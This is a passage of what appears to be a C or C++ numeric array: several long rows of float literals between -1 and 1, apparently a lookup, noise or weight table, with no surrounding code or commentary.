0.375317547074287f, 0.964442757731427f, 0.167643569291013f, 0.0118587246816413f, 0.958187068873858f, 0.315395458761821f, 0.188852872643367f, 0.417450657662866f, -0.540566147670448f, -0.422709015019828f, 0.101425586029329f, -0.235465301656357f, -0.806044548641562f, -0.617153815671298f, 0.350658348898447f, -0.738540593521098f, 0.291893065415692f, 0.335435501842245f, 0.832048727909480f, -0.609539777284250f, -0.436992256701542f, -0.685315947977391f, -0.502107715051164f, -0.893460699283628f, -0.262263680492396f, 0.454417031133778f, 0.223227655510993f, 0.605288383003966f, -0.698800586984034f, 0.864843125666124f, 0.363752223710394f, -0.354571459375900f, -0.575008718239530f, 0.423061550052490f, -0.272459660313524f, -0.116932919064239f, 0.547073367599225f, -0.890822451422250f, -0.884262586749836f, -0.889803003239001f, 0.217660629852574f, 0.154863581361214f, -0.333284425759330f, -0.826087281020982f, -0.958198419703014f, 0.850114828540176f, -0.391190814837661f, 0.956578087128909f, 0.0541599967910713f, 0.0988550815990206f, 0.851903747125444f, 0.361959550717838f, -0.901818125706440f, -0.0561477675277424f, 0.522090821863134f, 0.263383912024089f, -0.161061362097086f, -0.983707460720128f, -0.333128836619106f, -0.546535222349413f, 0.627261888412583f, 0.408731616102241f, 0.754700916401496f, 0.869772826180715f, 0.362242883540519f, 0.853587698951791f, -0.698910717068557f, -0.671945256263701f, 0.802655941071284f, 0.338701009518668f, -0.0297818698247327f, -0.881311052338108f, -0.296717226328950f, -0.965699941652671f, -0.737164428831818f, 0.00804554422537485f, 0.989716933531351f, -0.832438692682457f, 0.454553001515962f, -0.933801685729775f, -0.644562445615081f, 0.104508389084640f, -0.535426180524709f, -0.937041822784313f, 0.599911275476691f, -0.789109397888652f, 0.821293320968620f, 0.818032308067912f, -0.838306491947354f, -0.172883985566904f, -0.185775969502745f, -0.672256019841514f, -0.412525056012874f, 0.142272136963196f, 0.792136721788200f, -0.726314486042219f, -0.445981475954073f, -0.857821372905156f, -0.783006950965519f, 0.438776336055643f, 0.400193156140386f, 0.177525578340235f, -0.435380642286229f, 0.547815754835977f, 0.0496394855194708f, -0.442174406426496f, -0.0856142956982360f, -0.0247840885457120f, -0.779016166389253f, -0.511802368745331f, 0.319887353303028f, 0.721806644023428f, 0.770423389111803f, 0.809969588377187f, -0.196191981856391f, -0.105718971622809f, -0.301674515042257f, 0.613622254387482f, -0.969517273103490f, 0.0144576310630131f, -0.668829420461301f, 0.750377960820232f, 0.696858494013122f, -0.563485511352760f, 0.726226115587466f, -0.227540741583116f, 0.665488592033944f, -0.124611809537824f, 0.489550286613580f, -0.579185308695604f, 0.628687311174276f, -0.295770837727116f, 0.240358361854250f, -0.155642183802961f, -0.885945841456110f, 0.388592282428421f, -0.663862196774143f, 0.363779469451472f, -0.371285870971327f, 0.563159689631810f, 0.102725415308920f, -0.320909176496511f, 0.334328794247963f, -0.401664407219370f, 0.726728495517480f, -0.192310060924823f, -0.107973316004269f, 0.898177814643418f, 0.456682306673978f, 0.890742303266606f, -0.742770990765425f, 0.0337493848747046f, 0.786190819119190f, 0.911503487800545f, 0.288384155888888f, -0.249479393879906f, -0.431949793185094f, -0.0847659302921913f, -0.475416985100444f, -0.362720571751962f, 0.676910741300893f, 0.00488530543559529f, -0.227678010632002f, -0.0632947771540859f, -0.990261099329279f, -0.708485805011827f, -0.304846597458441f, -0.480289782580152f, -0.593254971635338f, -0.656335976085053f, 0.584373334310954f, -0.493268395245234f, -0.00212668034894836f, -0.480221591678953f, 0.622365041709782f, -0.258845071515928f, 0.943825418665593f, -0.716642329101759f, -0.765317239111819f, 0.324487844009035f, 0.108158868464706f, -0.790583201992229f, -0.649218622127061f, 0.751409704126257f, 0.301455204388007f, 0.620482350165047f, 0.411016780608874f, -0.878843779367281f, -0.779673415191805f, 0.616508572699874f, 0.0750844738292273f, 0.341011338533919f, -0.553376665552953f, 0.277561087965059f, 0.527499935800293f, -0.489644680144407f, 0.514353996113782f, 0.229842524701725f, 0.139172928186734f, 0.793753206591897f, 0.835555341130211f, 0.794120687009671f, -0.0994745468343306f, 0.109098970584400f, 0.383123470993648f, 0.272549010931094f, 0.683070582699418f, 0.522823199313615f, 0.235903759158310,
-0.269490013000195f, -0.103775744391749f, -0.994083979953753f, 0.754983594207459f, 0.806308398378106f, -0.997543362839150f, -0.00396367603607373f, -0.873768378178592f, -0.755907732827809f, 0.703713206520365f, -0.0716773056166142f, 0.0792968663717508f, -0.113760825029016f, 0.828188140127672f, -0.103062543982628f, 0.0455017026983378f, 0.330658414568756f, -0.615810862221588f, 0.827890015477212f, -0.507551960954374f, -0.371044788092612f, 0.723489294741891f, 0.169072478802524f, 0.885612989356318f, -0.496475905980558f, 0.114400438991609f, 0.427961880327008f, -0.0456714004002505f, 0.0246660859589438f, 0.175616122301987f, -0.349777838484285f, -0.939474935533562f, -0.215061649130134f, 0.907049169335834f, -0.0553600192559760f, -0.982464152311714f, 0.405919915647442f, 0.755952405091542f, -0.695422520039876f, 0.373280568864688f, 0.483909023765611f, 0.784896384994620f, 0.978722132488262f, -0.113866140463085f, -0.630016943176703f, 0.512742627309861f, -0.829104067044703f, -0.240982431155520f, 0.0107361024967163f, -0.438682584788413f, 0.935730031472303f, -0.953447901200043f, -0.984218956474073f, -0.745077052885218f, -0.466232938128846f, 0.0326267564209573f, 0.303877586274065f, -0.199843777507458f, 0.674317529952029f, 0.448678903834397f, -0.681863209154081f, 0.273397524216090f, 0.193101955704959f, -0.342858479278718f, -0.485179713360910f, -0.586067050491890f, 0.393099777352274f, -0.982324485510343f, -0.852553426343700f, 0.773613825101220f, -0.590256032959421f, 0.837952413540589f, -0.643137731235821f, -0.311955662956384f, -0.888588599835619f, 0.304629859477166f, -0.810098957400030f, -0.534291626181040f, 0.878601703692302f, 0.362706441157764f, -0.254447668911795f, 0.604309282304246f, -0.977266419340276f, 0.250927873824064f, 0.549600558999971f, -0.796155833245480f, 0.226373301058549f, 0.0137578302483823f, 0.819708534464965f, 0.185662636424304f, -0.450456459548662f, 0.0953849597308440f, 0.736872088617975f, -0.582024306116842f, -0.0522261513001507f, 0.394348349710790f, -0.461023913227183f, 0.139996201153565f, -0.790168851966909f, 0.692544084408690f, -0.580603732841955f, -0.584540773580447f, -0.967062276813525f, -0.00886260208554912f, -0.0520831218167985f, -0.999614949922684f, -0.965820736077636f, 0.366390034326646f, 0.0323069925013668f, 0.164651515113853f, 0.300260003499445f, -0.340634856317630f, -0.238157231550037f, -0.291645957143165f, -0.773881882387456f, -0.144494053860223f, 0.660329619628580f, -0.626727996257997f, -0.994965090982706f, 0.161018019917379f, -0.327211572176153f, 0.0410991278573425f, 0.0123663905917732f, 0.747176159655312f, -0.485981637435718f, 0.00667961234248971f, 0.631625759154389f, -0.831294487064668f, 0.449606477050286f, 0.768845094514142f, 0.928354534843426f, 0.812647997969340f, 0.353418126917875f, -0.872184763557736f, -0.579130598386915f, -0.912928075675835f, -0.779484407508668f, 0.534916834944041f, 0.326353225230543f, 0.395431557674662f, -0.842103899863317f, 0.196590107332985f, -0.261317824893025f, 0.750190543523333f, -0.103409967857074f, -0.201452426430379f, -0.213633615009587f, 0.578822104214576f, -0.130809161238349f, -0.774608769872343f, -0.0222201705228122f, 0.126990738965544f, 0.785780586747108f, 0.0379484317527632f, 0.837140835706189f, -0.191007948387153f, 0.106781679021568f, 0.990298140861558f, 0.618337701073777f, 0.460255491901774f, 0.716379796730692f, -0.159421014009881f, -0.560212468621569f, -0.147263014783522f, -0.962301694075771f, -0.327702010262213f, -0.773959532468388f, 0.351239668535113f, -0.682281479449518f, 0.342188824054257f, -0.743039216419066f, 0.700710268270439f, 0.919651386092770f, 0.626343233048871f, -0.157189576636596f, 0.781882574006976f, 0.349953565654219f, 0.361235312853466f, 0.313242228422046f, 0.582185182102266f, 0.554504358491139f, 0.711217954194576f, 0.332473377627418f, 0.165078226255772f, -0.228349029389292f, 0.899730713958153f, 0.653894503448836f, -0.0452904440925501f, 0.0328806142413372f, 0.793701315832839f, -0.703826261467540f, -0.901648894320192f, -0.195631966969018f, -0.0470590812056508f, 0.487185699934959f, 0.175961644103331f, 0.818028721319245f, -0.224389104974946f, 0.901974203693823f, -0.153212477843726f, -0.472747796173897f, -0.587471692952684f, 0.452340198339707f, 0.996443894349412f, -0.849126217374502f, -0.403800337277983f, 0.923427876645159f, -0.0516037992113898f, -0.380335341989182f, -0.299914673109747f, 0.764492139190834f, 0.773463290027243f, 0.0175454601261817f, -0.400742340353541f, 0.912354892189422f, 0.999766609328281f, -0.521321752061712f, -0.365769506846305f, 0.477612405338644f, -0.0522578739905535f, -0.479259238587280f, 0.645161410912429f, -0.702546085166056f, 0.359736398041538f, 0.638130894056863f, 0.115633419893101f, -0.674410360620500f, -0.150824943737990f, -0.824854463897591f, -0.504410162129685f, 0.560317574021813f, -0.159611666752889f, 0.997647540626334f, 0.702777895178414f, -0.946494281691535f, -0.0109619562916898f, -0.383756482005404f, 0.872670066971334f, -0.453527506439184f, -0.635719199113957f, 0.932852122005178f, -0.800755479140234f, -0.225213334363716f, 0.251163542389519f, -0.598147625383133f, -0.155241293946661f, 0.967736510890644f, -0.0157250628103103f, 0.250570924071858f, 0.209749651169078f, -0.381016062687537f, -0.679300447230592f, 0.160197663113971f, -0.749803147200800f, 0.596917045783617f, -0.0878737681749431f, 0.642402180339789f, 0.261614973684270f, -0.111833224093973f, 0.300170844971678f, 0.317966800167647f, 0.0585375534708252f, -0.842709435910728f, 0.760207701069839f, -0.979366191145221f, 0.940703569377911f, 0.866488078693979f, 0.553497107695259f, 0.127260247084497f, 0.530106152060111f, 0.725171359852920f, 0.356742729430045f, -0.209841680046178f, -0.164239817187855f, -0.888858150931758f, 0.0367561852378047f, 0.803496113779956f, -0.594927045375575f, -0.00347281985657166f, 0.114118941713783f, -0.427864462568672f, 0.719021423892768f, 0.335845790828654f, 0.0207216235296064f, -0.523146933862102f, -0.145001077781793f, 0.490566784879983f, 0.461904660734682f, -0.897010089735077f, -0.895737903861849f, 0.343397505472310f, -0.684377591381862f, -0.0154016881290400f, -0.462987614871549f, 0.884045010701589f, 0.192617174725234f, 0.226497290324550f, -0.788151335932529f, -0.190538526746651f, -0.556614046330326f, -0.139480186854974f, 0.196785300148418f, 0.978844132512627f, -0.290726060479808f, -0.591813978495167f, -0.0769033757443105f, -0.467044929381376f, 0.171585053083057f, 0.408215527269010f, -0.818706013465989f, -0.328144984930982f, 0.790275356337217f, -0.977491163139178f, -0.979679268318504f, -0.524875121608236f, -0.263859024168277f, 0.0180787743488171f, -0.984390626106750f, 0.952274619010224f, -0.851400664579601f, 0.692959439369046f, -0.150312001943653f, 0.712066554169562f, -0.492336226254660f, -0.453559897031351f, -0.159679763180474f, 0.745834647687870f, -0.725963425297178f, -0.720341794596050f, 0.370674334928492f, -0.845974926208293f, -0.00448769398027360f, -0.595973105115042f, 0.967372249596385f, 0.512949503724102f, 0.889619262804735f, 0.990718232652913f, -0.662246751886904f, 0.333846293708563f, -0.423114421367372f, 0.549637439543149f, -0.987876053136374f, -0.782714958794276f, 0.294868983681807f, 0.931284560597614f, 0.445522387300861f, -0.388400162488578f, -0.182673246109423f, -0.773488958971573f, 0.438788569593725f, 0.578106509978236f, -0.373449127435319f, -0.301996528814967f, -0.227124771031239f, 0.700176189695036f, -0.910948938567526f, 0.733412403327578f, 0.486154072292544f, -0.974058632864456f, 0.216693355653246f, 0.147564301397678f, -0.715192277853558f, -0.366996833259925f, 0.568909126406069f, -0.0810069456450131f, -0.371253841044151f, 0.254736918036059f, -0.868966383080701f, 0.190312518076662f, 0.457253801337437f, 0.941043431633233f, -0.297470749600241f, 0.244270515950156f, -0.240122562119888f, -0.766384662307300f, 0.765045432900429f, -0.608250739173787f, -0.733052557932594f, -0.268433000443065f, 0.733598123424154f, -0.0550005774741753f, 0.273893221740822f, -0.659641650983149f, 0.967032725204337f, 0.390126626361090f, 0.518740746381756f, -0.859387560527806f, 0.554117289841284f, 0.648904904654236f, -0.755880975555381f, 0.834231592524942f, -0.137512395743275f, 0.0477027353535724f, -0.880364563062979f, 0.458763614093086f, 0.650036413308116f, 0.496385905878033f, -0.418537115548864f, -0.565561960782851f, -0.227941684691245f, -0.165031891659812f, 0.204464989908300f, -0.688093624763916f, -0.678874848552394f, 0.813764873880514f, -0.561723359541237f, -0.575805702297063f, -0.288097000970518f, 0.950119107184838f, 0.709879842972902f, 0.730067219897393f, 0.710813066057284f, -0.192333836978130f, -0.190446300563246f, 0.872679304648751f, 0.134143163657763f, -0.979443835407234f, -0.103872104041761f, -0.0568328979324004f, -0.863020133862081f, -0.0257801722427251f, -0.577962771617033f, -0.0500056799801032f, 0.191817418291914f, -0.799853775410853f, -0.110019424741421f, 0.840753817223395f, 0.355588322976119f, 0.274501278628024f, 0.757538306972136f, 0.771547320156202f, 0.0394143752709530f, 0.120744072764658f, 0.324337882930581f, -0.380086709776951f, -0.772025774284869f, 0.473986846199588f, 0.703247561676381f, 0.734667480205300f, -0.594290184210087f, 0.760158653782445f, 0.624553744314883f, -0.941053266957965f, -0.165913770936962f, -0.0497972870738055f, -0.0435608680908517f, -0.663165366083943f, -0.570972482385751f, 0.427845034528880f, 0.0897903148165149f, -0.481825010950428f, -0.0901127105939594f, 0.887770435656611f, 0.770985476674623f, 0.00966158758316293f, -0.331059327378268f, -0.286033645163736f, -0.0698945910210471f, 0.834392309773299f, 0.875537383319608f, -0.657919190548359f, 0.583890957562885f, -0.418481077359384f, -0.282242397022386f, 0.864577023994874f, -0.898367126143440f, 0.815804441243808f, 0.616061408588373f, 0.132365642864798f, -0.221099752471970f, -0.852722283680675f, -0.269499596712950f, 0.360828136129415f, -0.120022743070141f, -0.0354652134632905f, -0.718389836602256f, 0.973490047219112f, -0.201775047168341f, 0.348769511760972f, -0.338750368577880f, -0.269769414088757f, 0.498910931428472f, -0.787648791515347f, 0.508408064858444f, -0.904215976374529f, -0.778575029821227f, -0.662889546847757f, -0.787503064261069f, -0.915166838630178f, -0.415784802770356f, 0.731806835017609f, -0.903922155472207f, 0.0872811033112211f, -0.452516774501827f, 0.577942533813694f, -0.200909337658770f, 0.866167939661793f, 0.982552542055944f, -0.332277333696961f, 0.201673960342839,
0.881239812364993f, -0.0293753746942893f, 0.0967170348490725f, -0.765573023404242f, -0.179225339525953f, -0.931530757069740f, -0.702596334762137f, 0.439106079307245f, -0.469364154277323f, 0.211063395888038f, -0.245858633045693f, 0.936376071219385f, 0.0334087380010875f, 0.0765265939183459f, 0.417091701258078f, 0.962467059286170f, -0.180698008768999f, -0.129816441691123f, -0.833694435146788f, -0.800582099046532f, 0.736376297618233f, 0.0164704176688124f, 0.207462305741760f, 0.300555292898496f, 0.777154212278295f, -0.0804533056660695f, -0.279940128908185f, 0.203101811030871f, 0.447496959357837f, 0.508353359025257f, 0.644333822521829f, 0.897259297488483f, -0.675785952117501f, 0.149337263319588f, 0.350953290584184f, 0.600296681944338f, -0.606098182955297f, -0.418312129297725f, 0.792551232171214f, -0.944025948110651f, -0.923106441737020f, 0.508989820072736f, 0.101554011154237f, -0.799369609980037f, -0.229001813644938f, 0.196367996268564f, -0.634078446275840f, 0.267446716753553f, 0.943765754688567f, 0.329924442019441f, -0.898235312442524f, 0.563592978494850f, -0.976934293161001f, -0.609744819901837f, 0.498989633313589f, -0.105680058480959f, -0.400730747241191f, 0.264919109340783f, -0.313066735594123f, -0.465399967597728f, -0.425123918113080f, -0.609514085808810f, 0.916560800692384f, 0.0173757138934230f, 0.147814399202503f, 0.594152503614559f, -0.145681097751433f, -0.427232299718493f, 0.233460382614713f, 0.337361272635241f, 0.376106438004541f, 0.900277274651600f, 0.424547631957395f, -0.710790444715071f, 0.0846761090154495f, -0.0122707338404220f, 0.119989812955904f, -0.239774389963524f, -0.692300891031819f, -0.735109129583214f, 0.802276300301071f, 0.348982047806247f, 0.916302084278941f, -0.0838164783829127f, -0.989134997097880f, 0.832909602224562f, -0.701363449605445f, -0.150487976031971f, -0.728594035984111f, -0.144393031996783f, -0.458856761770637f, 0.733295441303064f, -0.405608670768629f, 0.522871610912813f, 0.468223399458939f, -0.575139530810903f, -0.241684287862418f, -0.499140599234906f, -0.395586476697394f, 0.692745485195348f, -0.125142235859546f, -0.342212246193052f, 0.133841188490164f, -0.539478395228865f, -0.887973984329817f, -0.474033882236453f, -0.837114132429830f, 0.773392302912611f, 0.117697651876253f, -0.461595011213406f, -0.528669601602068f, -0.957799577987062f, -0.468654423525192f, -0.0602288998398475f, 0.154553704272891f, -0.422854231304259f, -0.496136532114270f, -0.348154983723668f, 0.0576478341707483f, 0.542088962901856f, -0.0465812136931592f, -0.280128217727361f, -0.900695482510248f, 0.525110685457899f, -0.957266165874283f, 0.136490670826643f, -0.213221811269364f, 0.690040133288898f, 0.269408771473479f, -0.0488994830172422f, -0.837526616586426f, -0.289127052660601f, 0.149325279006459f, -0.694169700971401f, -0.0230547571616897f, -0.368313297034846f, 0.344434270521740f, 0.859135365902404f, 0.839336654691204f, -0.511783987355355f, -0.0349625753049687f, 0.935857929664427f, 0.820032045433520f, -0.0394079346656324f, -0.656352913407746f, -0.874383371678169f, -0.425836335156061f, 0.208600154889275f, -0.135596548598733f, 0.566430757256762f, 0.820840891306264f, 0.735746624790780f, -0.765482927015804f, -0.0195537720748045f, 0.606216172027628f, 0.436027839798869f, -0.609233580289002f, -0.963547951222316f, -0.575271468261977f, 0.692873344771925f, 0.143031668657597f, 0.890157114774225f, 0.762299295692265f, 0.653618249618643f, -0.957258626549595f, 0.521895225378123f, -0.607922211531407f, -0.956795748110572f, 0.477633684273092f, 0.794301967670603f, 0.139753218894595f, 0.371726372555490f, -0.804791987531745f, 0.837080126047059f, -0.440992020192054f, 0.584986017638085f, 0.950442046050057f, 0.613109120495913f, 0.633948971396891f, -0.581246845000116f, 0.730290176291093f, 0.599119212595240f, 0.120096101936515f, -0.144169383323758f, 0.930776406826440f, -0.0209712926465206f, 0.572995665695966f, 0.924623298379120f, -0.751832867985678f, 0.630196806059302f, 0.506634179395662f, 0.0388997263873157f, -0.311041196366299f, -0.729049093325017f, -0.918815504666740f, -0.103935429478766f, -0.000623544124330300f, 0.102880227280474f, -0.563637096166535f, -0.332148269587814f, 0.472114131256244f, 0.295717126494164f, 0.246944592105312f, -0.713191555660498f, 0.160410320426559f, 0.110992936470077f, 0.213877527744528f, 0.541660996543375f, -0.872405734998843f, 0.388515073094269f, -0.840811647524440f, -0.968008592072007f, 0.669947948420772f, -0.122943215855172f, 0.565929115911552f, -0.695408966310186f, 0.361296950635219f, 0.574282481983669f, 0.0877180513263536f, -0.694316083550519f, 0.327696487191071f, 0.289746985823208f, -0.241476327174879f, 0.605084742574250f, 0.0929272338220821f, -0.391399761658219f, -0.612928183827531f, 0.0471987261466311f, 0.157388702609590f, 0.575695018001234f, 0.450453491026024f, 0.876623108212541f, -0.456500163180038f, 0.436901006801809f, 0.796734433864345f, 0.771008396172517f, -0.784740610155705f, 0.405172719255834f, 0.958393667559228f, 0.787380105147761f, -0.262826016234054f, 0.773327117333271f, 0.482142068916266f, -0.461607549022954f, -0.153993688218026f, -0.129280134980317f, 0.901812622560630f, -0.111520793491644f, -0.0973214524989203f, -0.293695817178366f, -0.190045093887485f, -0.204792515844396f, 0.501086384719391f, 0.755953359112033f, -0.425886872154604f, -0.0883029298084141f, 0.763071371252921f, -0.556289447935984f, 0.577370462369201f, 0.0480599614417476f, -0.794423686623353f, 0.756645959967545f, 0.570538730848462f, 0.872575422156333f, -0.443572567528656f, -0.0487937634747691f, 0.283986553648095f, -0.170910821134099f, -0.329867000423004f, -0.982322841409943f, 0.555344201026651f, -0.351964643393940f, 0.776172688776518f, -0.148102477734717f, 0.889532618676503f, -0.310979434517253f, 0.711839903052208f, -0.646385596147085f, 0.145592596381502f, 0.233949589173221f, -0.825471565980294f, -0.370248763132654f, -0.777194557275684f, -0.224658064754195f, 0.263281286751478f, 0.849661910468068f, 0.271261490445121f, -0.915885420717958f, -0.947144520818678f, 0.227960459606299f, 0.784463828083640f, 0.995882406349565f, -0.987273766396493f, 0.0792453274840108f, -0.788403526960056f, -0.619975942121645f, 0.801181796307713f, 0.967884377026145f, -0.781223064263388f, -0.300716486479280f, 0.994748932974184f, -0.200152360574411f, -0.101898131541608f, 0.542914585925881f, 0.407729967031792f, -0.105215843903154f, 0.638066037611924f, -0.563777780161298f, 0.134189395993685f, -0.503320561486155f, -0.0379170306314711f, 0.723638115686875f, 0.747948383928228f, 0.928239905995551f, -0.736883772878758f, 0.892242913709735f, 0.468998243295705f, -0.224406388545097f, 0.758754382878863f, 0.994739001052496f, -0.749837906573089f, -0.938777322178786f, -0.619168635741936f, 0.827875717654585f, 0.294033159230782f, -0.372766318349126f, -0.292752124932124f, 0.396629951868878f, -0.986760927173237f, -0.0841834195975009f, 0.999760803826313f, 0.0142305924173638f, -0.820393900206961f, 0.409972278573230f, 0.227315924377402f, -0.641500351639361f, -0.470788010535406f, -0.486171076557593f, -0.758140688442947f, -0.971539708794928f, -0.949039718833189f, -0.146844988902767f, -0.0183627478820223f, 0.402918762093981f, 0.0620266698060286f, -0.182527786403967f, -0.374395326540229f, 0.566584207940253f, 0.879546558847970f, 0.853360173786566f, -0.515321950652696f, 0.511692631053674f, 0.342152084355850f, 0.374686420595610f, -0.794372980760555f, -0.648670375991101f, 0.761192158420166f, 0.223791993225057f, -0.342720055148453f, 0.965612513218950f, -0.796193009647904f, 0.215057114709867f, -0.0459498239576994f, 0.871047701509015f, 0.664672380241520f, -0.546301701630944f, -0.939910946986200f, -0.213195706858966f, 0.559543622118596f, -0.255844807516886f, 0.509576048776352f, -0.699005089750431f, -0.520317652140772f, -0.924306703712950f, -0.923814193467638f, 0.868401299001930f, -0.571229497763863f, 0.984740691690212f, -0.911782692220985f, -0.265295471266664f, 0.0479848731515942f, -0.195328058836883f, 0.758281465939343f, -0.418177229854869f, -0.263323557662932f, 0.0230762644115943f, 0.382605016442608f, -0.576209059863238f, -0.739785100410209f, 0.0956412509899256f, 0.0369702493097637f, 0.0738922616872486f, 0.589371657036664f, 0.548586250623500f, 0.996096574632666f, -0.574178408335425f, -0.827059309028347f, 0.600283403682961f, -0.0651062813338117f, 0.985857002071398f, 0.982700721670305f, 0.777628710286989f, -0.139415722014730f, 0.951156387462424f, 0.806391217144736f, 0.135433009714206f, 0.252388414319270f, 0.485541324740928f, 0.270688932431637f, 0.892850103229909f, 0.440168171407923f, 0.515384398158669f, 0.600884162546465f, 0.947986221531091f, 0.339440884303404f, 0.403857490690436f, -0.937015609644647f, 0.729529495316627f, -0.389601866986821f, -0.420712615666380f, -0.763003723744745f, -0.0619534667970105f, 0.486654476027536f, -0.943536854881494f, 0.471171699317719f, 0.996886209046820f, -0.945316270673373f, 0.230772742042993f, -0.621222111022648f, 0.838934157721328f, 0.124035987915113f, 0.737576768711407f, -0.217898078842006f, 0.0429859145211120f, 0.223685413947773f, 0.820073956039170f, -0.378381145423743f, -0.335672684173821f, 0.649791267584388f, -0.457253860252872f, -0.664776842833046f, 0.150429615666837f, 0.974812973893170f, 0.00119972362050369f, 0.140744912838368f, -0.252632269055503f, -0.124205752907507f, -0.383194456927254f, -0.356455432479067f, 0.0694989880525767f, 0.188230048541949f, -0.854592697407303f, -0.902559387772971f, 0.454054169179423f, 0.534684767654295f, 0.806837289706952f, 0.274203715752641f, -0.765433763984323f, 0.459365005291520f, -0.896797218412250f, 0.382900474341852f, 0.169400421233177f, -0.184111368111075f, 0.0323514487432812f, 0.621015577938758f, 0.139872518806323f, 0.480965263781330f, 0.0649386999855643f, 0.815365754221614f, 0.761990264098834f, -0.0927412249348933f, -0.580853742457387f, 0.211615321410605f, 0.165159968106305f, 0.305515629345863f, 0.725748395743965f, -0.667649812347274f, -0.621843189978885f, -0.939317191264789f, -0.197108718554958f, 0.902152006895939f, -0.889744652803018f, 0.667113256888905f, 0.929471703711725f, 0.660025836042506f, -0.0712223078913006f, 0.416152292126436f, -0.602223852277700f, -0.828462878627106f, -0.956915163338265f, 0.298196541541469f, -0.933863927954050f, -0.198745190221695f, 0.749101206471011f, -0.922366396086261f, 0.769953026855636f, 0.971459582749177f, -0.226637139032289f, -0.593509265485619f, -0.635649447577657,
-0.443127775644156f, 0.350464269654307f, 0.379979516655134f, 0.896282784801247f, 0.00871209446887344f, 0.401818712823609f, 0.815422566258939f, 0.215868289995843f, 0.682217845700443f, 0.508819667108007f, -0.988484263336122f, 0.216656890144568f, -0.185777888700071f, 0.522106353117928f, 0.894211314619113f, -0.779300881699217f, 0.137801937535128f, -0.818740955579722f, 0.637214461095055f, 0.187867696634722f, 0.184985729971243f, 0.315323389557324f, -0.0312525033775366f, 0.498559120407008f, 0.855778208118391f, 0.936851170962385f, -0.0524308158818188f, 0.257087262622978f, 0.816141818246927f, -0.147192803443011f, 0.194545158383538f, -0.655428449892669f, -0.650441844539509f, 0.536015423540886f, 0.0250060573607953f, -0.863380305825989f, 0.0605420782823460f, -0.963662464088496f, 0.689136717877590f, -0.929664162821947f, -0.327349437742288f, 0.713122240487331f, 0.765587094162777f, -0.314350325341316f, 0.409992519686522f, 0.753377832105546f, -0.756848529995586f, 0.760787899507869f, 0.512213162407276f, -0.674820237484644f, 0.560776719592082f, -0.874905891603855f, 0.925202682923872f, -0.907405002733482f, -0.575836335118172f, -0.248173888600965f, -0.187923239740639f, 0.230951002247789f, -0.540190666146588f, 0.390890663320481f, -0.705511708249712f, 0.0980457138183717f, 0.879979753648798f, -0.378326046226794f, -0.645363625221967f, 0.883365508962968f, 0.728720763588748f, -0.191571576393619f, -0.941989254130187f, 0.944312154950866f, -0.367184985473008f, -0.974124559264444f, -0.579946765132286f, 0.509825236656578f, 0.952047194261820f, -0.0955445631918663f, -0.00500764501201401f, -0.00111382665477655f, -0.0404281661495578f, -0.265706359102834f, 0.865881843285797f, -0.947915521623861f, -0.820337973623839f, 0.0843747524022067f, -0.948599514028391f, -0.464018526769358f, 0.600790429663803f, -0.0779017384430381f, 0.756949801920938f, -0.955436496929340f, -0.553346424499498f, -0.401256107066610f, 0.569624108543687f, 0.179455179577041f, -0.189386842296675f, -0.467166492259358f, 0.367644583467601f, -0.722338735126514f, 0.863903729827081f, 0.0631027352569811f, -0.982269235503679f, -0.837788470642698f, 0.421730643738386f, -0.671745211565315f, 0.858467932275763f, -0.745298219348761f, -0.659594977600028f, 0.403238381269873f, 0.951987904652099f, 0.228887404582426f, -0.331665752024408f, 0.794789885033899f, 0.669978127515269f, 0.977583870328654f, -0.346398989178462f, 0.692053246433782f, -0.159407706019695f, 0.710808563527500f, -0.555701359319642f, 0.625665798239905f, -0.711048329414687f, -0.672431532474912f, -0.474897384314332f, -0.196250611816064f, 0.902140605659856f, -0.459732035217428f, 0.651412290305649f, -0.686137550630920f, -0.803228611526547f, 0.371120664039117f, 0.289869860968561f, -0.720979161638185f, -0.0940498575417996f, 0.185025844935128f, 0.401524077274769f, 0.811721346556136f, 0.224659861626089f, 0.106438807548742f, -0.117458956991326f, -0.407361487623449f, 0.683891165426988f, -0.216582410631386f, 0.710644530504861f, 0.867797453793643f, 0.626683550176870f, 0.115061097783331f, 0.976742668387085f, 0.250700864990527f, 0.272723539841862f, 0.159923684669346f, 0.167713264013185f, -0.445764377935606f, -0.489538472614810f, 0.227880894824940f, 0.670702116476237f, 0.610361511284318f, 0.503801949624464f, -0.687816091694902f, -0.0413765153535617f, 0.155769004545734f, 0.921910233366689f, -0.467299226678025f, -0.991984541712805f, -0.527009262324220f, 0.248157897392517f, 0.661145853979517f, -0.975947426744844f, -0.242453990684693f, -0.277956284573619f, 0.162010437415540f, 0.889456199489152f, -0.171259539670729f, -0.0636124576727060f, 0.311318764402696f, -0.227771282875219f, -0.567702050585727f, -0.132881625149059f, 0.870846950418812f, 0.440078398779761f, -0.0908818839265000f, 0.410077545060762f, 0.917678125288724f, 0.975295290129489f, 0.736514272579886f, 0.653896379317074f, -0.166512942888681f, -0.218665383726096f, -0.0688642360506688f, -0.596589868100824f, -0.180873413844075f, 0.229002598511067f, -0.647630976455599f, 0.722615884501717f, 0.760194030884127f, 0.253262836539679f, 0.0734191803957118f, -0.941427952376035f, 0.224118866807764f, 0.634990976599086f, 0.538622500570355f, -0.591487367587299f, 0.829253069890529f, 0.426659996899884f, -0.562435396124737f, 0.924178169394878f, -0.693964899988321f, -0.520472617448914f, 0.845157115508053f, 0.162984246343684f, -0.212032053476592f, 0.0482566706558292f, 0.820584028875367f, 0.676120066619505f, 0.590174358812695f, -0.457289938956925f, -0.351282540371674f, 0.322162683499620f, -0.683726196205246f, -0.279636659553935f, -0.186133028676429f, 0.965481755833750f, -0.0550172560314044f, -0.437844829991532f, -0.448670532146325f, -0.438916826946834f, 0.830205353164842f, -0.0125988502002286f, 0.733716462327519f, 0.870000673588185f, -0.189915082276716f, -0.676269331249200f, -0.336432931956768f, -0.288892891213265f, -0.912569275291884f, 0.509853767908707f, -0.658452317958678f, -0.562848133961047f, -0.102082581799095f, 0.904062026055565f, 0.473339990381854f, 0.210234896873676f, -0.0884007008398613f, 0.720872020499257f, 0.538315255331760f, -0.884485227439286f, 0.160844002639634f, 0.625863524205804f, -0.947487159926400f, 0.362643826956149f, -0.189913270725334f, -0.110428721523612f, -0.666510263156819f, -0.214827103263521f, 0.912669747474334f, -0.973896103049543f, 0.665373714127588f, 0.148135031012834f, 0.126524689644449f, 0.00283763548841764f, 0.312700495893193f, 0.579520771033243f, 0.677583023476560f, -0.779567427807191f, 0.0694994546110597f, -0.298762697062437f, 0.655210050716681f, 0.435909078048151f, 0.322095567178671f, 0.764827170021089f, -0.713736794113842f, 0.992844460358584f, -0.735915506109616f, 0.280204875392391f, 0.584446532772711f, 0.796955505835788f, 0.742508124239176f, 